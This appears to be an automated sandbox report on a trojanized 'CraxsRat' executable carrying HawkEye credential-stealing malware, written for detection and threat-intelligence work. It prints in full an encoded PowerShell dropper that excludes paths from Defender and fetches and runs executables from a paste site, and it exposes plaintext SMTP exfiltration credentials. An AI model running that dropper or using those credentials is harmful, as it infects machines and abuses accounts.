Analysis

  • max time kernel
    61s
  • max time network
    65s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-05-2023 17:25

General

  • Target

    CraxsRat 4.0.1/CraxsRat 4.0.1.exe

  • Size

    3.6MB

  • MD5

    c03340af767421ec0ee35c378bbf3edb

  • SHA1

    63060366f0bf2b4dcff3974deffca94b472b8773

  • SHA256

    1dd45e5c7521156d2ca52d7aa5024e9fd3580ff6814a4b79161d7d730ecdb7ab

  • SHA512

    70863a2729baa254fc5d0b92a8631e98596bb2ad497a5e607328cc49e32e254ec1f4309c8c085983cd70e2141be09d0429568f2aace061644c3d2d59ee39ab7f

  • SSDEEP

    49152:7WsTEkwghTKv4jysGUqgCoOtt1JKsgGViSe8KuAfG9b/KMA:7FEkwghTKv4jysGUqgCxttdX8v/Ee

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://rentry.org/xau9i/raw

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.zoho.com
  • Port:
    587
  • Username:
    nexusbuscasg@zohomail.com
  • Password:
    Nescau71#

Signatures

  • HawkEye

    HawkEye is a malware kit that has seen continuous development since at least 2013.

  • NirSoft MailPassView 4 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 4 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 7 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1\CraxsRat 4.0.1.exe
    "C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1\CraxsRat 4.0.1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4264
    • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
      "C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
        "C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe"
        3⤵
        • Executes dropped EXE
        PID:3608
      • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
        "C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe"
        3⤵
        • Executes dropped EXE
        PID:1372
      • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
        "C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holdermail.txt"
          4⤵
          • Accesses Microsoft Outlook accounts
          PID:1408
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe /stext "C:\Users\Admin\AppData\Local\Temp\holderwb.txt"
          4⤵
            PID:4728
      • C:\Users\Admin\AppData\Local\Temp\LX.exe
        "C:\Users\Admin\AppData\Local\Temp\LX.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4436
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAZgBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGMAZgBnACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHAAbQBtACMAPgA7ACIAOwA8ACMAcwBxAGwAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBiAGcAaQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB0AGgAZwAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBmAHgAYQAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AeABhAHUAOQBpAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBqAHoAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAbgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGUAdQBpACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwBtAGIAZQAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHkAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegBiAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAGgAaQBsACMAPgA="
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2916
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#cfg#>[System.Windows.Forms.MessageBox]::Show('','','OK','Error')<#pmm#>;
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4440

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scripting

    1
    T1064

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Scripting

    1
    T1064

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Collection

    Email Collection

    1
    T1114

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
      Filesize

      3.4MB

      MD5

      f873bee92e6118ff16b63b2a75173818

      SHA1

      4061cab004813a12e8042b83228885dfbc88547f

      SHA256

      7eba1b2ac702b41a3799b7c0c0a2a5a9da452e21fb847d0d8d0884f7705b5b4d

      SHA512

      368858286de1b7a5509e3a6576f4b58919f1dbf73b97a39d1dc62faad797c15f7fbcd09cf6cc37cb138c00ecd138ae01abf93b02fa33ce86f658a2a8d213850f

    • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
      Filesize

      3.4MB

      MD5

      f873bee92e6118ff16b63b2a75173818

      SHA1

      4061cab004813a12e8042b83228885dfbc88547f

      SHA256

      7eba1b2ac702b41a3799b7c0c0a2a5a9da452e21fb847d0d8d0884f7705b5b4d

      SHA512

      368858286de1b7a5509e3a6576f4b58919f1dbf73b97a39d1dc62faad797c15f7fbcd09cf6cc37cb138c00ecd138ae01abf93b02fa33ce86f658a2a8d213850f

    • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
      Filesize

      3.4MB

      MD5

      f873bee92e6118ff16b63b2a75173818

      SHA1

      4061cab004813a12e8042b83228885dfbc88547f

      SHA256

      7eba1b2ac702b41a3799b7c0c0a2a5a9da452e21fb847d0d8d0884f7705b5b4d

      SHA512

      368858286de1b7a5509e3a6576f4b58919f1dbf73b97a39d1dc62faad797c15f7fbcd09cf6cc37cb138c00ecd138ae01abf93b02fa33ce86f658a2a8d213850f

    • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
      Filesize

      3.4MB

      MD5

      f873bee92e6118ff16b63b2a75173818

      SHA1

      4061cab004813a12e8042b83228885dfbc88547f

      SHA256

      7eba1b2ac702b41a3799b7c0c0a2a5a9da452e21fb847d0d8d0884f7705b5b4d

      SHA512

      368858286de1b7a5509e3a6576f4b58919f1dbf73b97a39d1dc62faad797c15f7fbcd09cf6cc37cb138c00ecd138ae01abf93b02fa33ce86f658a2a8d213850f

    • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
      Filesize

      3.4MB

      MD5

      f873bee92e6118ff16b63b2a75173818

      SHA1

      4061cab004813a12e8042b83228885dfbc88547f

      SHA256

      7eba1b2ac702b41a3799b7c0c0a2a5a9da452e21fb847d0d8d0884f7705b5b4d

      SHA512

      368858286de1b7a5509e3a6576f4b58919f1dbf73b97a39d1dc62faad797c15f7fbcd09cf6cc37cb138c00ecd138ae01abf93b02fa33ce86f658a2a8d213850f

    • C:\Users\Admin\AppData\Local\Temp\CraxsRat 4.0.1.exe
      Filesize

      3.4MB

      MD5

      f873bee92e6118ff16b63b2a75173818

      SHA1

      4061cab004813a12e8042b83228885dfbc88547f

      SHA256

      7eba1b2ac702b41a3799b7c0c0a2a5a9da452e21fb847d0d8d0884f7705b5b4d

      SHA512

      368858286de1b7a5509e3a6576f4b58919f1dbf73b97a39d1dc62faad797c15f7fbcd09cf6cc37cb138c00ecd138ae01abf93b02fa33ce86f658a2a8d213850f

    • C:\Users\Admin\AppData\Local\Temp\LX.exe
      Filesize

      74KB

      MD5

      1ab3092297d1806397e8d3a6747a3271

      SHA1

      ea114a2e5ddee915d30458031ec5ced7f97d1650

      SHA256

      2aa5d3e3abdcd8d31a11b9e1ac3d2e4b4075261f2e324833da229e3736a3ee6e

      SHA512

      1ab9ea47bbeb22688ba8ebcdbad144b794aabd29f1d4b0bfc2554cc1e9b28325e31b07e252b96ccd3851e49f9cdf935ded702a1cf83c343d69e357e4734caf28

    • C:\Users\Admin\AppData\Local\Temp\LX.exe
      Filesize

      74KB

      MD5

      1ab3092297d1806397e8d3a6747a3271

      SHA1

      ea114a2e5ddee915d30458031ec5ced7f97d1650

      SHA256

      2aa5d3e3abdcd8d31a11b9e1ac3d2e4b4075261f2e324833da229e3736a3ee6e

      SHA512

      1ab9ea47bbeb22688ba8ebcdbad144b794aabd29f1d4b0bfc2554cc1e9b28325e31b07e252b96ccd3851e49f9cdf935ded702a1cf83c343d69e357e4734caf28

    • C:\Users\Admin\AppData\Local\Temp\LX.exe
      Filesize

      74KB

      MD5

      1ab3092297d1806397e8d3a6747a3271

      SHA1

      ea114a2e5ddee915d30458031ec5ced7f97d1650

      SHA256

      2aa5d3e3abdcd8d31a11b9e1ac3d2e4b4075261f2e324833da229e3736a3ee6e

      SHA512

      1ab9ea47bbeb22688ba8ebcdbad144b794aabd29f1d4b0bfc2554cc1e9b28325e31b07e252b96ccd3851e49f9cdf935ded702a1cf83c343d69e357e4734caf28

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ia4ulzyi.sfh.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\holderwb.txt
      Filesize

      3KB

      MD5

      f94dc819ca773f1e3cb27abbc9e7fa27

      SHA1

      9a7700efadc5ea09ab288544ef1e3cd876255086

      SHA256

      a3377ade83786c2bdff5db19ff4dbfd796da4312402b5e77c4c63e38cc6eff92

      SHA512

      72a2c10d7a53a7f9a319dab66d77ed65639e9aa885b551e0055fc7eaf6ef33bbf109205b42ae11555a0f292563914bc6edb63b310c6f9bda9564095f77ab9196

    • memory/1408-203-0x0000000000400000-0x000000000041B000-memory.dmp
      Filesize

      108KB

    • memory/1408-205-0x0000000000400000-0x000000000041B000-memory.dmp
      Filesize

      108KB

    • memory/1408-207-0x0000000000400000-0x000000000041B000-memory.dmp
      Filesize

      108KB

    • memory/1424-160-0x00000000053C0000-0x0000000005964000-memory.dmp
      Filesize

      5.6MB

    • memory/1424-157-0x0000000000070000-0x00000000003E0000-memory.dmp
      Filesize

      3.4MB

    • memory/1424-159-0x0000000004D70000-0x0000000004E0C000-memory.dmp
      Filesize

      624KB

    • memory/2708-200-0x0000000008AB0000-0x0000000008B16000-memory.dmp
      Filesize

      408KB

    • memory/2708-176-0x0000000000400000-0x0000000000484000-memory.dmp
      Filesize

      528KB

    • memory/2708-223-0x0000000005650000-0x0000000005660000-memory.dmp
      Filesize

      64KB

    • memory/2708-212-0x0000000005650000-0x0000000005660000-memory.dmp
      Filesize

      64KB

    • memory/2708-179-0x0000000005450000-0x00000000054E2000-memory.dmp
      Filesize

      584KB

    • memory/2708-208-0x0000000005650000-0x0000000005660000-memory.dmp
      Filesize

      64KB

    • memory/2708-192-0x0000000005320000-0x000000000532A000-memory.dmp
      Filesize

      40KB

    • memory/2708-193-0x00000000055E0000-0x0000000005636000-memory.dmp
      Filesize

      344KB

    • memory/2708-194-0x0000000005650000-0x0000000005660000-memory.dmp
      Filesize

      64KB

    • memory/2916-210-0x000001E14D650000-0x000001E14D660000-memory.dmp
      Filesize

      64KB

    • memory/2916-172-0x000001E14D650000-0x000001E14D660000-memory.dmp
      Filesize

      64KB

    • memory/2916-171-0x000001E14D650000-0x000001E14D660000-memory.dmp
      Filesize

      64KB

    • memory/2916-170-0x000001E14D5E0000-0x000001E14D602000-memory.dmp
      Filesize

      136KB

    • memory/2916-211-0x000001E14D650000-0x000001E14D660000-memory.dmp
      Filesize

      64KB

    • memory/2916-180-0x000001E14D650000-0x000001E14D660000-memory.dmp
      Filesize

      64KB

    • memory/2916-209-0x000001E14D650000-0x000001E14D660000-memory.dmp
      Filesize

      64KB

    • memory/4264-156-0x0000000000400000-0x000000000079B000-memory.dmp
      Filesize

      3.6MB

    • memory/4436-155-0x00000000005A0000-0x00000000005B8000-memory.dmp
      Filesize

      96KB

    • memory/4440-195-0x00000241C7E50000-0x00000241C7E60000-memory.dmp
      Filesize

      64KB

    • memory/4440-181-0x00000241C7E50000-0x00000241C7E60000-memory.dmp
      Filesize

      64KB

    • memory/4440-190-0x00000241C7E50000-0x00000241C7E60000-memory.dmp
      Filesize

      64KB

    • memory/4728-213-0x0000000000400000-0x0000000000458000-memory.dmp
      Filesize

      352KB

    • memory/4728-215-0x0000000000400000-0x0000000000458000-memory.dmp
      Filesize

      352KB

    • memory/4728-222-0x0000000000400000-0x0000000000458000-memory.dmp
      Filesize

      352KB